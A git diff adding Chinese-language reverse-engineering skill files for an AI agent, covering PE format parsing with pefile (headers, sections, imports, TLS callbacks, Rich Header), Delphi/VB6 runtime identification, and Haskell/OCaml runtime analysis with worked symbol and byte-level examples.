||||
|
||||
### pefile(Python,推荐主力)
|
||||
|
||||
- 全平台: `pip install pefile`(Linux/macOS/Windows/WSL 均可)
|
||||
- 验证: `python3 -c "import pefile; print(pefile.__version__)"`
|
||||
|
||||
### CFF Explorer(Windows GUI)
|
||||
|
||||
- Windows: `choco install cff-explorer`(或从 NTCore 官网下载 Explorer Suite)
|
||||
- 验证: 启动 CFF Explorer 打开样本,能正常显示 Dos Header/Sections 面板
|
||||
|
||||
## 操作步骤
|
||||
|
||||
1. **e_lfanew 定位 PE 头**:
|
||||
```sh
|
||||
objdump -p sample.exe | head -40 # 看 Magic: 0x10b (PE32) / 0x20b (PE32+) 与入口点
|
||||
```
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
print("e_lfanew offset:", hex(pe.DOS_HEADER.e_lfanew))
|
||||
print("PE32" if pe.OPTIONAL_HEADER.Magic == 0x10b else "PE32+")
|
||||
print("EntryPoint RVA:", hex(pe.OPTIONAL_HEADER.AddressOfEntryPoint))
|
||||
```
|
||||
|
||||
2. **节表与 RVA/文件偏移映射**:
|
||||
```sh
|
||||
objdump -h sample.exe # 节名/VMA/文件偏移/大小
|
||||
```
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
for s in pe.sections:
|
||||
print(s.Name, "VA:", hex(s.VirtualAddress), "raw:", hex(s.PointerToRawData),
|
||||
hex(s.SizeOfRawData), "chars:", hex(s.Characteristics))
|
||||
print("RVA->offset:", hex(pe.get_offset_from_rva(0x1000))) # RVA 转文件偏移
|
||||
```
|
||||
记住: 节内存中的 VirtualAddress 是 RVA,需加 ImageBase 才是 VA;文件偏移由 PointerToRawData 给出。
|
||||
|
||||
3. **导入表(IAT 大小异常 = 壳特征)**:
|
||||
```sh
|
||||
objdump -p sample.exe | grep -A3 -i 'DLL Name'
|
||||
```
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
for entry in pe.DIRECTORY_ENTRY_IMPORT:
|
||||
names = [i.name for i in entry.imports if i.name]
|
||||
print(entry.dll, "imports:", len(names), names[:5])
|
||||
```
|
||||
- 正常程序导入函数较多;仅 1-2 个 DLL、函数极少(如只有 kernel32 的几个)→ 强烈提示加壳/动态解析
|
||||
|
||||
4. **TLS 回调检查(比入口点更早执行)**:
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
if hasattr(pe, 'DIRECTORY_ENTRY_TLS') and pe.DIRECTORY_ENTRY_TLS:
|
||||
# AddressOfCallBacks 按 VA 存放:VA - ImageBase = RVA(只减一次)
|
||||
cb_rva = pe.DIRECTORY_ENTRY_TLS.struct.AddressOfCallBacks - pe.OPTIONAL_HEADER.ImageBase
|
||||
ptr_size = 8 if pe.OPTIONAL_HEADER.Magic == 0x20b else 4 # PE32+(0x20b)/PE32(0x10b) 才是位宽判据;Machine==0x8664 只说明 x64,ARM64(0xAA64) 同样是 PE32+
|
||||
while True: # 回调数组以 0 结尾
|
||||
ptr = int.from_bytes(pe.get_data(cb_rva, ptr_size), 'little')
|
||||
if ptr == 0:
|
||||
break
|
||||
print('TLS callback VA:', hex(ptr))
|
||||
cb_rva += ptr_size
|
||||
```
|
||||
简单方法: `objdump -p sample.exe` 输出中查看 TLS 目录表存在与否;存在则用 pefile 打印回调地址列表,逐条看反汇编。回调在入口点(AddressOfEntryPoint)之前执行——恶意样本常在此放解密/反调试代码。
|
||||
|
||||
5. **Rich Header 识别编译器**:
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
rh = pe.parse_rich_header()
|
||||
if rh:
|
||||
vals = rh['values'] # 扁平整数数组 [compid, count, compid, count, ...](pefile 已按 key 解密)
|
||||
for cid, count in zip(vals[0::2], vals[1::2]):
|
||||
# compid 高 16 位是工具 Product ID、低 16 位是 build(如 0x10b=VS2015 系)
|
||||
print(f"compid={cid:#x} tool={cid>>16:#x} build={cid & 0xffff} count={count}")
|
||||
```
|
||||
Rich Header 位于 DOS stub 之后、e_lfanew 之前,标识编译工具链版本;被移除/伪造本身也是加壳或手工修改特征。
|
||||
|
||||
6. **证书表**:SECURITY_DIRECTORY(目录项 4)的 VirtualAddress 是**文件偏移**而非 RVA——直接按 RVA 解析会读错位置:
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
sec = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
|
||||
print("cert table file offset:", hex(sec.VirtualAddress), "size:", hex(sec.Size))
|
||||
```
|
||||
|
||||
## 老运行时识别(Delphi / VB6)
|
||||
|
||||
老 PE 样本里两类遗留运行时——Delphi(VCL)与 VB6——结构特征鲜明,不必等反编译,格式解析阶段(节表/资源/导入)即可判定。
|
||||
|
||||
### Delphi(VCL)特征与定位
|
||||
|
||||
- **类体系字符串**:VCL 类名以短字符串(1 字节长度前缀)明文存放,`TPersistent`/`TApplication`/`TComponent` 类名成体系出现是强信号;先扫字符串定位类名,再反向找引用者
|
||||
- **vmt(虚方法表)定位**:类 vmt 是代码节里的指针数组,起点处 vmtSelfPtr 自指;元数据挂在 vmt 负偏移区。**经典布局(Delphi 7 及以前)Win32**:TypeInfo(RTTI 指针)vmt-0x3C、published 方法表 vmt-0x34、类名字符串指针 vmt-0x2C、实例大小 vmt-0x28(旁证:vmtSelfPtr -0x4C、vmtParent -0x24);**Win64 按官方值**、不自行翻倍推演:vmtTypeInfo -0xA8、vmtMethodTable -0x98、vmtClassName -0x88、vmtInstanceSize -0x80。Delphi 2009 起 TObject 新增虚方法,负偏移整体前移,现代布局不再与经典值通用(XE2 只引入 Win64,未改负偏移)。偏移别死记,用「vmtSelfPtr 自指 + 类名指针 → 类名内容」双向校验
|
||||
- **RTTI 还原类结构**:从 vmt 负偏移的 TypeInfo 指针出发,RTTI 记录含类型名与 published 属性/方法名表,可系统还原类体系与对象布局,作为后续反编译的骨架
|
||||
- **Borland 资源段特征**:.rsrc 内 RT_RCDATA 出现命名资源 `PACKAGEINFO`(包/单元列表)、`DVCLAL`(版本校验标记);配合「无 Rich Header」(Borland 工具链不生成)交叉确认
|
||||
```python
|
||||
import pefile
|
||||
pe = pefile.PE('sample.exe')
|
||||
if hasattr(pe, 'DIRECTORY_ENTRY_RESOURCE'):
|
||||
for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
|
||||
name = entry.name.string if entry.name else None
|
||||
print(name, hex(entry.struct.Type))
|
||||
```
|
||||
|
||||
### VB6 特征与入口定位
|
||||
|
||||
- **运行时导入**:导入表含 `MSVBVM60.DLL`(VB6 运行时;VB5 为 MSVBVM50.DLL),具名导入多为 `__vba*`/`rtc*` 前缀(`__vbaStrCmp`/`__vbaStrCopy`/`rtcMsgBox` 等)——锁定运行时后,整个 MSVBVM60 API 调用面就是分析锚点
|
||||
- **特定资源**:.rsrc 内 RT_RCDATA 命名资源 `CUSTOM`(工程名/启动信息);版本信息段常带 VB 运行时标识
|
||||
- **入口定位思路**:入口先进 `MSVBVM60!ThunRTMain` 做运行时初始化,项目主逻辑在其后调用链中;以 `__vba*` 字符串处理 API 的引用点为锚反查业务代码,比死跟入口省力
|
||||
|
||||
### 老壳注意
|
||||
|
||||
- PECompact 类轻壳特征:节表被合并(常剩 1-2 节)、IAT 极小化(API 运行时动态解析)、EP 处为解码循环/跳转 stub
|
||||
- 壳会改写节表与 RVA→文件偏移映射,直接按原偏移解析 vmt/RTTI 会失真——先 [[re-packer-id]] 确认壳型,轻壳走简单脱壳流程([[re-unpack-simple]])再定位运行时
|
||||
|
||||
### 识别先行原则
|
||||
|
||||
- 格式解析阶段(节表/资源/导入)就下运行时结论,为后续选路:
|
||||
- 判定 Delphi → 走 RTTI 还原类结构路线(vmt/TypeInfo 定位)
|
||||
- 判定 VB6 → 走 MSVBVM60 API 调用面路线(`__vba*`/`rtc*` 语义还原)
|
||||
- 两者皆无 → 按常规 C/C++ PE 处理
|
||||
- 识别不出时回头查壳(老样本轻壳率高),别在无壳假设下硬解
|
||||
|
||||
### 常见坑
|
||||
|
||||
- **Delphi 字符串按 C 风格读**:现象——字符串区出现「乱码」、反编译字符串截断错位;原因——Delphi 字符串是 AnsiString:数据指针前 4 字节是长度、再前 4 字节是引用计数(ShortString 为 1 字节长度前缀),均非 NUL 结尾的 C 字符串;对策——按长度前缀取串(长度在前、无结尾符),字符串扫描按「长度+内容」模式而非 NUL 截断
|
||||
- **VB6 的 OLE 自动化调用点被当普通 API**:现象——反编译出现大段 `__vba*` 包裹的 vtable/IDispatch 分发序列,对象参数被误判成普通寄存器传参;原因——VB6 组件调用经 OLE 自动化(IDispatch)分发,调用点在运行时按 DISPID 解析,静态只看到「取接口指针 → 调分发函数」;对策——按「对象 + 属性/方法名 + DISPID」语义还原调用面,别把分发序列当独立函数逐个分析
|
||||
- **老壳导致 RTTI 偏移失真**:现象——按 vmt 负偏移取类名/RTTI 指针得到垃圾值或指向节外;原因——PECompact 类压缩壳合并节、重写映射,压缩态下原偏移失效;对策——先 [[re-packer-id]] 查壳,轻壳脱壳后重做 vmt/RTTI 定位
|
||||
- **VB6 编译模式不分(p-code vs native)**:现象——p-code 模式同样有「代码节」,按常规反汇编读出来是变长乱指令;原因——VB6 有两种产物:native 直接编译为 x86(混 `__vba*` 调用),p-code 把逻辑编成字节码流交运行时解释执行,代码节实为解释器+字节码数据;对策——先判编译模式(代码节反汇编可读性、`__vba*` 调用密集度),p-code 走字节码解释,native 走常规反编译,别套同一条流程
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]]:工作流第 3 步,PE 目标的格式解析
|
||||
- [[re-malware]]:PE 恶意样本分析(TLS 回调/证书表是常用藏身处)
|
||||
- [[re-cracking]]:PE 补丁/注册机类任务定位校验代码
|
||||
- 与 [[re-imports]] 衔接(解析完结构后看导入);发现壳特征时转 [[re-anti-analysis]]
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **TLS 回调是恶意软件常见藏身点**:入口点断点会漏掉——先查 TLS 目录并列出全部回调地址
|
||||
- **节名异常**(UPX0/.aspack/.nsp0 等):壳的压缩节特征,别当普通代码节反编译
|
||||
- **导入表极小 → 加壳**:只导入 kernel32 少量函数或导入表为空,说明 IAT 被壳接管,静态拿不到真实导入
|
||||
- **证书表偏移计算**:SECURITY_DIRECTORY 的指针是文件偏移,当 RVA 解析会读错
|
||||
- **TLS 目录本身可被覆写/劫持**:现象——样本看似无壳,但在注入的子进程(svchost 等)里出现非预期执行,断在 OEP 的调试器全程"正常";原因——恶意样本(如 Ursnif 变体)改写被注入进程的 TLS 目录,使执行落在伪造回调而非 AddressOfEntryPoint,通用脱壳器与只断入口点的调试器全被绕过;对策——动态断点设在 `ntdll!LdrpCallInitRoutine`(回调指针经参数传递)观察全部回调,静态核验 TLS 目录/回调数组所在节是否可写——可写即劫持面
|
||||
- **别用 ELF 思维套 PE**:现象——分析 PE 时找 `.interp`/PT_INTERP、期待 `__libc_start_main` 启动路径、按 RTLD_NOW 语义理解加载;原因——两格式动态链接机制根本不同(PE 无 .interp,启动不经过 __libc_start_main);对策——PE 启动链只认:系统加载器 → TLS 回调 → 入口点(AddressOfEntryPoint);导入看 IAT,没有 GOT/PLT 概念
|
||||
- **PE 代码节内嵌数据 → 线性反汇编误判**:现象——反编译出现大片伪代码或把跳转表当函数;原因——PE 编译器常把跳转表等数据内联进代码节(ELF 则放 `.rodata`),线性反汇编约 1% 误差,函数边界误判率 20%+(尾调用/非标准序言/内联);对策——反编译结果交叉验证,用工具的数据标注(IDA/ghidra 手工标记数据区)修正,别全信自动函数列表
|
||||
|
||||
- **数据目录偏移别凭记忆**:PE32+ optional header 的数据目录数组从 `oh + 112` 起(+96 是 SizeOfHeapCommit)——实测 PE32+ 标准布局(24 标准 + 80 Windows 特有(含 8 字节 ImageBase)+ LoaderFlags/NumberOfRvaAndSizes 8 = 112);写 96 会读到 HeapCommit 的垃圾值
|
||||
- **TLS 目录 4 个地址字段是 VA 不是 RVA**(StartAddressOfRawData/EndAddressOfRawData/AddressOfIndex/AddressOfCallBacks)——与多数数据目录条目不同,换算 RVA 前必须先减 ImageBase
|
||||
- **RVA→文件偏移判定用 raw_size 而非 vsize**:文件内只有 raw_size 字节存在,vsize 可能更大(BSS 类);用 vsize 判定会越界读
|
||||
- **未引用 import 检测**:IAT 槽存在桩(`jmp [IAT]`)但 CFG/.text 扫描未见引用,只能作为 unused 或间接引用候选——继续查数据引用(`push offset [IAT]` 一类)、间接调用与反汇编覆盖(未识别/未分析代码区)。不能由「无 xref」反推该导入改走动态解析:纯动态解析的 API 通常根本不进导入表。确需下动态解析结论时,须有独立证据:`LoadLibrary*`/`GetModuleHandle*` + `GetProcAddress` 调用点、`Ldr*` 原生 API、PEB/导出表遍历、API hash 表
|
||||
- **x64 TEB 布局(Wine winnt.h 核实)**:`gs:[0x30]`=Self;`gs:[0x58]`=ThreadLocalStoragePointer(`__declspec(thread)` 的 TLS 数组指针,访问序列 `mov rax,gs:[58]; mov ecx,[_tls_index]; mov rax,[rax+rcx*8]`);`TlsSlots[64]` 在 **0x1480**(动态 TLS);`TlsExpansionSlots` 在 0x1780——0x58 不是 TlsSlots
|
||||
- **内存格式字节序按名书写**:`VK_FORMAT_B8G8R8A8_UNORM`/DXGI 同名格式回读字节序 = [B,G,R,A](px[0] 是 B 不是 R)——像素/纹理断言前先验证字节序,同类陷阱对 R8G8B8A8 反向成立
|
||||
110
vendor-new/rev-skills/.claude/skills/re-fp-runtime/SKILL.md
Normal file
110
vendor-new/rev-skills/.claude/skills/re-fp-runtime/SKILL.md
Normal file
@@ -0,0 +1,110 @@
|
||||
---
|
||||
name: re-fp-runtime
|
||||
type: atomic
|
||||
description: >
|
||||
函数式语言运行时逆向(Haskell/OCaml):闭包/堆对象模型、调用约定、数据流优先策略。
|
||||
触发词:Haskell逆向、OCaml逆向、GHC RTS、thunk、STG、OCaml runtime、闭包、函数式产物。
|
||||
capabilities: [lang-runtime-analysis]
|
||||
---
|
||||
|
||||
# 函数式运行时逆向(Haskell / OCaml)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:Haskell/OCaml 产物(GHC RTS 符号、OCaml block 头特征),需要还原闭包/堆对象、求值顺序、模式匹配分支
|
||||
- 用:OCaml 原生/字节码产物判别与字节码分析(ocamlrun 脚本头特征)
|
||||
- 不用:命令式语言产物(各归各技能:C++ → [[re-cpp-abi]]、Go → [[re-go]]、Rust → [[re-rust]])
|
||||
- 不用:只需函数逻辑且控制流完整(函数式产物控制流打散,直接反编译收益低,见步骤 4)
|
||||
|
||||
## 工具准备
|
||||
|
||||
### readelf / llvm-nm(符号分析)
|
||||
|
||||
- 安装与验证见 [[re-cpp-abi]] 工具准备
|
||||
|
||||
### ghc 工具链(Haskell 侧,可选)
|
||||
|
||||
- Linux/macOS: GHC 安装包(`apt install ghc` / `brew install ghc` / ghcup);Windows: ghcup(`winget install ghcup` 或官网安装器);验证: `ghc --version`
|
||||
- 用途: 同版本编译对照产物,验证 closure/info table 形态(GHC 版本差异大)
|
||||
|
||||
### ocamlobjinfo / ocamlopt(OCaml 侧,可选)
|
||||
|
||||
- Linux/macOS: OCaml 工具链(`apt install ocaml` / `brew install ocaml`);Windows: opam(`winget install OCaml.opam`)或官网安装器;验证: `ocamlobjinfo` 处理任意 .cmx 输出 CRC 与导入表
|
||||
- 用途: 字节码产物/对象文件结构分析(ocamlobjinfo 可读 .cmo/.cmx/字节码可执行文件)
|
||||
|
||||
### Ghidra / IDA(反编译底座)
|
||||
|
||||
- 安装与验证见 [[re-ghidra]] / [[re-ida]]
|
||||
|
||||
### file / xxd / Python struct(字节级核对)
|
||||
|
||||
- 系统自带(`file`/`xxd`);Python 3 自带 `struct`
|
||||
- 用途: 字节码产物判别(ocamlrun 脚本头)、closure 首字段/block 头字节验证(示例见 [[examples]])
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;逆向着重**数据流**而非控制流(函数式产物控制流被打散,见坑 4)。每步产物存档(路径 + sha256,见 [[re-triage]])。
|
||||
|
||||
1. **运行时识别**:
|
||||
```sh
|
||||
readelf -s sample | grep -iE 'ghc|stg_|RTS|HsMain|_closure|_info' | head # GHC 特征
|
||||
readelf -s sample | grep -iE 'caml_' | head # OCaml 特征
|
||||
file sample # 字节码产物判别(脚本头)
|
||||
```
|
||||
- GHC:`main`(C RTS 入口)+ RTS 运行时符号(`stg_*`/`hs_*`)+ 业务符号 `Main_main_closure`/`Main_main_info`(`模块_名字_closure/info` 形态)
|
||||
- OCaml 原生:`main` → `caml_main` → `caml_startup_common` → `caml_start_program` → `caml<模块>__entry`;`caml_startup`/`caml_startup_pooled` 是供 C 嵌入调用的等价入口(签名同为 void (char_os **argv),区别在 pooling 标志与异常行为),勿误当主链;`caml_*` 运行时符号(caml_alloc/caml_apply2/3 等)
|
||||
- **字节码 vs 原生**:`caml_start_program` 仅存在于 native 运行库(4.14.2 libasmrun.a 实测),是 native 特征;字节码判据用 `caml_interprete`(仅 libcamlrun.a 有);字节码产物判别用 `file`(`ocamlrun script executable`)/`xxd` 头(`#!...ocamlrun\n` 脚本头 + `T`/`C` 魔数 + 分节)
|
||||
- 入口链各版本一致:runtime/main.c 定义 `main` 并调用 `caml_main(argv)`(`caml_main` 定义于 startup_byt.c/startup_nat.c;原生链 `main → caml_main → caml_startup_common → caml_start_program`,4.14.2 实测地址见 [[examples]]);字节码运行库入口为 `caml_main → caml_startup_aux → caml_interprete`
|
||||
- 判别速查:GHC = `stg_*` 机械符号群 + `模块_名_closure/info` 对;OCaml 原生 = `caml_*` 群 + `caml<模块>__<名>_<id>`;OCaml 字节码 = `#!ocamlrun` 脚本头
|
||||
|
||||
2. **闭包与堆对象**:
|
||||
- GHC:thunk(未求值闭包)与已求值值的堆对象布局——closure 首字段即 info table 指针(实测字节验证见 [[examples]]);CAF 以 thunk 形式静态分配,首次引用才求值(惰性);`Main_main_closure` 是 CAF,其 info 指向 thunk 求值代码
|
||||
- GHC 值形态:未求值(thunk,info 指向求值代码)vs 已求值 WHNF(info 指向构造器头/函数头)——同地址空间的两种状态,求值后 closure 内容被覆写
|
||||
- OCaml:block 头(tag + 大小,64 位下 header = (size<<10)|(color<<8)|tag);tagged int 判定用值的最低位(bit 0,奇数=整数,偶数=指针/block)
|
||||
- 分析:字段与构造器是主要线索(数据流优先)
|
||||
|
||||
3. **调用约定**:
|
||||
- GHC:参数经栈传递;返回值在寄存器 R1-R3(盒值在 R1);entry 代码以 info table 为枢纽(`_info` 符号 = entry code)
|
||||
- OCaml:参数经寄存器(前 N 个)传递,闭包调用经 `caml_applyN`;原生代码调用闭包 = 寄存器装载 + `caml_apply2/3` 或直接跳 entry
|
||||
- 分析:先识别运行时包装(`caml_apply` / stg 入口)再进用户逻辑;尾调用优化使递归变跳转(无增长栈帧),按循环读
|
||||
- GHC 与 OCaml 共点:函数不是"被 call",而是"跳到 entry"——反编译里的 `jmp` 目标地址即函数入口,别按 call/ret 配对思维读
|
||||
|
||||
4. **分析策略(数据流优先)**:
|
||||
- 控制流打散:惰性求值导致求值顺序不可预测——静态控制流分析价值低
|
||||
- 数据流线索:闭包字段初始化点(构造器参数)、模式匹配分支(构造器标签分发)、字符串/常量引用
|
||||
- 产出:数据流图(构造器 → 字段 → 使用点)替代控制流图(与 [[re-analyze/analysis-contract]] 数据契约衔接)
|
||||
- 模式匹配还原:分支按构造器 tag 分发(OCaml)或 info 表指针比较(GHC)——tag/指针值 → 构造器序号;还原出构造器集合即还原出数据类型
|
||||
- 产出格式(供分析报告与下一环节消费):
|
||||
```
|
||||
构造器 C1 (tag 0, 2 字段) ← 分配点 A (caml_alloc2 / info 表)
|
||||
字段0 ← 函数参数/常量(数据来源)
|
||||
字段1 ← 字符串池引用
|
||||
使用点: tag 比较 → 分支 B(业务逻辑)
|
||||
```
|
||||
|
||||
5. **字节码产物(OCaml 特有)**:
|
||||
```sh
|
||||
head -c 64 sample | xxd # #!...ocamlrun 脚本头 + 魔数 T/C + 长度
|
||||
ocamlobjinfo sample # 直接解析字节码可执行文件(导入单位/CRC)
|
||||
```
|
||||
- 字节码 exe = 脚本头 + 魔数 `T` + 代码区 + 各分节数据;分节名(CODE/PRIM/DATA/SYMB/CRCS 等 4 字符)与大端长度表在文件尾部 TOC,文件以 `Caml1999X031` 收尾(结构见 [[layout]],字节样例见 [[examples]])
|
||||
- 字节码反汇编不是常规反编译(指令集为 OCaml bytecode 自定),分析入口用 ocamlobjinfo 的结构视图
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-binary-core]] 网关:本技能归属(选择树「Haskell/OCaml 产物」分支)
|
||||
- [[re-analyze/analysis-contract]]:数据流图按数据契约传递
|
||||
- [[re-cpp-abi]]:vtable/info table 对照思路(表指针分派同构)
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **RTS 版本差异**:现象——closure 布局解读失败;原因——GHC/OCaml 版本演进;对策——按目标版本确认布局(本技能字段表基于 9.14/4.14 实测,见 [[layout]])
|
||||
- **thunk 惰性求值误导**:现象——未求值闭包被当已求值数据;原因——惰性求值;对策——区分 thunk 头(info 指向求值代码)与已求值值(info 指向 WHNF 头);CAF 首引用前都是 thunk
|
||||
- **OCaml 字节码非 native**:现象——反编译全是运行时包装;原因——字节码产物;对策——识别 ocamlrun 脚本头/字节码段特征后按字节码结构分析(非常规反编译;`caml_start_program` 仅 native 运行库有,是 native 特征;字节码判据用 `caml_interprete`)
|
||||
- **控制流打散导致静态分析失效**:现象——函数体无连续逻辑;原因——函数式编译产物;对策——转数据流分析(步骤 4),不硬追控制流
|
||||
- **tagged int 误读**:现象——整数被当指针/指针被当整数;原因——OCaml 值标记位;对策——按最低位区分(1=整数,0=指针),访问前先解标记(int >> 1 取真值)
|
||||
- **GHC 模块名带 z 编码**:现象——符号 `GHCziInternalziTopHandler_runMainIO1_info` 难读;原因——`z`+小写转义特殊字符(GHC mangling:`zi`=`.` `zu`=下划线 `zz`=z `zc`=: `zh`=# 等);对策——按转义规则手工还原模块名(`GHCziInternal` → `GHC.Internal`),还原后与源码模块结构对应
|
||||
- **info table 与 entry code 是同一指针的两个视图**:现象——info 指针处反汇编出的是字段表数据而非代码;原因——info table 指针指向 entry code,表字段在 entry code 之前;对策——反汇编从 info 指针处开始(即 entry),字段表按负偏移读
|
||||
- **尾调用优化把递归变跳转**:现象——按 call 树分析递归逻辑断裂;原因——函数式编译器的尾调用优化(TCO);对策——`jmp` 回函数自身地址 = 递归,按循环语义读,别找增长栈帧
|
||||
- **惰性求值顺序不可预测**:现象——按源码顺序单步动态分析对不上;原因——thunk 首次引用才求值,求值触发点在"需要值的地方"而非"产生值的地方";对策——动态分析聚焦数据依赖(哪个闭包被强制求值),静态聚焦字段初始化点,别假设执行顺序
|
||||
- **跨运行时误判(GHC 机械符号当业务代码)**:现象——`stg_ap_*`/`stg_upd_frame_info` 等被当成业务逻辑分析;原因——STG 机械符号是求值机制;对策——先按 `stg_`/`hs_` 前缀把 RTS 机械符号排除,业务代码集中在 `模块_名_info` 与调用 `caml_applyN`/`caml_alloc*` 的片段
|
||||
@@ -0,0 +1,146 @@
|
||||
# 函数式运行时最小解析示例
|
||||
|
||||
示例以本机 GHC 9.14.1(ghcup)与 OCaml 4.14.2(opam)编译的真实产物为标本,readelf/nm/xxd 输出与字节验证可逐字段对照。布局规则见 [[layout]]。
|
||||
|
||||
## 0. 标本构建
|
||||
|
||||
```haskell
|
||||
-- hello.hs
|
||||
main :: IO ()
|
||||
main = putStrLn "hi from ghc"
|
||||
```
|
||||
|
||||
```ocaml
|
||||
(* hello.ml *)
|
||||
let add x y = x + y
|
||||
let () = print_endline (string_of_int (add 40 2))
|
||||
```
|
||||
|
||||
```sh
|
||||
ghc -O1 hello.hs -o hello_ghc
|
||||
ocamlopt -o hello_ocaml hello.ml # 原生
|
||||
ocamlc -o hello_bc hello.ml # 字节码
|
||||
```
|
||||
|
||||
## 1. GHC 符号对照(readelf/nm 实测)
|
||||
|
||||
```
|
||||
$ nm hello_ghc | grep -E 'Main_main|newCAF|hs_init'
|
||||
0000000000407c12 T main ← C RTS 入口
|
||||
00000000004da4f0 D Main_main_closure ← 顶层 main 的 closure(CAF,数据段)
|
||||
0000000000407bc8 T Main_main_info ← entry code
|
||||
00000000004da500 D Main_main4_closure
|
||||
0000000000407be8 T Main_main4_info
|
||||
0000000000494190 T newCAF ← CAF 分配(RTS)
|
||||
000000000047f780 T hs_init_ghc ← RTS 初始化
|
||||
|
||||
$ nm hello_ghc | grep -c stg_ # RTS STG 机械符号(实测 334 个)
|
||||
334
|
||||
$ nm hello_ghc | grep -E 'stg_upd_frame_info|stg_enter_info'
|
||||
000000000049bba0 T stg_upd_frame_info ← 更新帧(thunk 求值写回)
|
||||
00000000004980e0 T stg_enter_info ← 进入求值
|
||||
```
|
||||
|
||||
对照要点:`模块_名字_closure`(数据)+ `模块_名字_info`(代码)成对;`newCAF`/`hs_init_ghc` 是 RTS 锚点;`stg_*` 机械符号数量级(数百个)是 GHC 特征。
|
||||
|
||||
## 2. GHC closure 字节验证(首字段 = info 指针)
|
||||
|
||||
```python
|
||||
import struct
|
||||
|
||||
# hello_ghc 非 PIE 时 vaddr == file offset;PIE 需先按 PT_LOAD 换算(见 re-format-elf 思路)
|
||||
d = open('hello_ghc', 'rb').read()
|
||||
# 用 readelf 的节映射换算 0x4da4f0 的文件偏移(此处示意:已换算)
|
||||
off = 0x4da4f0 # Main_main_closure vaddr
|
||||
v = struct.unpack_from('<Q', d, off)[0]
|
||||
print(hex(v)) # 0x407bc8 == Main_main_info 地址
|
||||
# 前 16 字节: info 指针 + 8 字节字段(CAF 载荷)
|
||||
print(d[off:off+16].hex())
|
||||
# c87b400000000000 0000000000000000
|
||||
# └─ info 指针(0x407bc8)┘ └─ 载荷区(CAF 空载荷)┘
|
||||
|
||||
# 反汇编 entry code(0x407be8 = Main_main4_info):加载 closure 跳转 runMainIO
|
||||
# leaq 0xd28da(%rip), %r14 ; 装载 Main_main1_closure(thunk)
|
||||
# jmp GHCziInternalziTopHandler_runMainIO1_info ; 求值链(z 编码: GHC.Internal)
|
||||
```
|
||||
|
||||
对照要点:closure 头部 8 字节 = info 指针(分派点);entry code 从 info 指针处开始;`GHCziInternal` = `GHC.Internal`(z 编码)。
|
||||
|
||||
## 3. OCaml 原生符号对照(nm 实测)
|
||||
|
||||
```
|
||||
$ nm hello_ocaml | grep -E 'camlHello__|caml_apply|caml_start|caml_alloc'
|
||||
0000000000022a00 T caml_apply3 ← 闭包调用分派(3 参数)
|
||||
0000000000022a50 T caml_apply2 ← 闭包调用分派(2 参数)
|
||||
0000000000022ac0 T camlHello__add_267 ← 模块级函数:caml<模块>__<名>_<id>
|
||||
00000000000239d0 T camlCamlinternalAtomic__entry ← 各模块 entry
|
||||
0000000000025ec0 T caml_startup_common ← 入口链:caml_main → caml_startup_common
|
||||
0000000000026150 T caml_startup ← 等价 C API 入口(caml_startup(argv))
|
||||
0000000000026180 T caml_main ← 入口链:main → caml_main(4.14.2 实测)
|
||||
000000000004a990 T caml_start_program ← 仅 native 运行库(libasmrun.a),是 native 特征
|
||||
000000000004df68 D camlHello ← 模块全局数据
|
||||
|
||||
$ nm hello_ocaml | grep -wE 'main|_start'
|
||||
00000000000261f0 T main ← C 入口(call caml_main)
|
||||
0000000000022540 T _start
|
||||
```
|
||||
|
||||
对照要点:`caml_applyN` 是闭包部分应用分派(参数个数驱动);`caml_main` 存在于 4.14.2(0x26180,反汇编见 `main → call caml_main` → `caml_startup_common`),runtime/main.c 定义 `main` 并调用 `caml_main`(`caml_main` 定义于 startup_byt.c/startup_nat.c);模块 entry 符号 `caml<模块>__entry`。
|
||||
|
||||
## 4. OCaml 字节码产物判别(file + xxd 实测)
|
||||
|
||||
```
|
||||
$ file hello_bc
|
||||
hello_bc: a /home/user/.opam/default/bin/ocamlrun script executable (binary data)
|
||||
↑ file 直接识别脚本头(示例路径为脱敏占位)
|
||||
|
||||
$ xxd -l 64 hello_bc
|
||||
00000000: 2321 2f68 6f6d 652f 7573 6572 2f2e 6f70 #!/home/user/.op
|
||||
00000010: 616d 2f64 6566 6175 6c74 2f62 696e 2f6f am/default/bin/o
|
||||
00000020: 6361 6d6c 7275 6e0a 5400 0000 df02 0000 camlrun.T.......
|
||||
00000030: 0000 0000 5700 0000 0100 0f00 1000 0000 ....W...........
|
||||
└ 脚本头 "#!...ocamlrun\n"(脱敏占位路径)┘ └魔数 T┘ └代码区(分节表在尾部 TOC)┘
|
||||
|
||||
$ ocamlobjinfo hello_bc | head -8 # 结构视图(导入单位/CRC)
|
||||
File hello_bc
|
||||
Imported units:
|
||||
-------------------------------- Stdlib__Weak
|
||||
-------------------------------- Stdlib__Unit
|
||||
...
|
||||
```
|
||||
|
||||
对照要点:字节码 exe 头 = `#!<ocamlrun 路径>\n` + 魔数 `T` + 代码区;分节(CODE/PRIM/DATA/SYMB/CRCS 等)与长度表在文件尾部 TOC(大端,以 `Caml1999X031` 收尾);`ocamlobjinfo` 可直接解析字节码可执行文件。示例路径为脱敏占位(本机实路径含用户名)。
|
||||
|
||||
## 5. OCaml 对象文件(.cmx)结构(ocamlobjinfo 实测)
|
||||
|
||||
```
|
||||
$ ocamlobjinfo hello.cmx
|
||||
File hello.cmx
|
||||
Name: Hello
|
||||
CRC of implementation: 63b3383284e2773bc5d450ad0fa510d5
|
||||
Globals defined: Hello
|
||||
Interfaces imported: Stdlib / CamlinternalFormatBasics ...
|
||||
Clambda approximation:
|
||||
(0: function camlHello__add_267 arity 2 (closed) (inline) -> ...)
|
||||
```
|
||||
|
||||
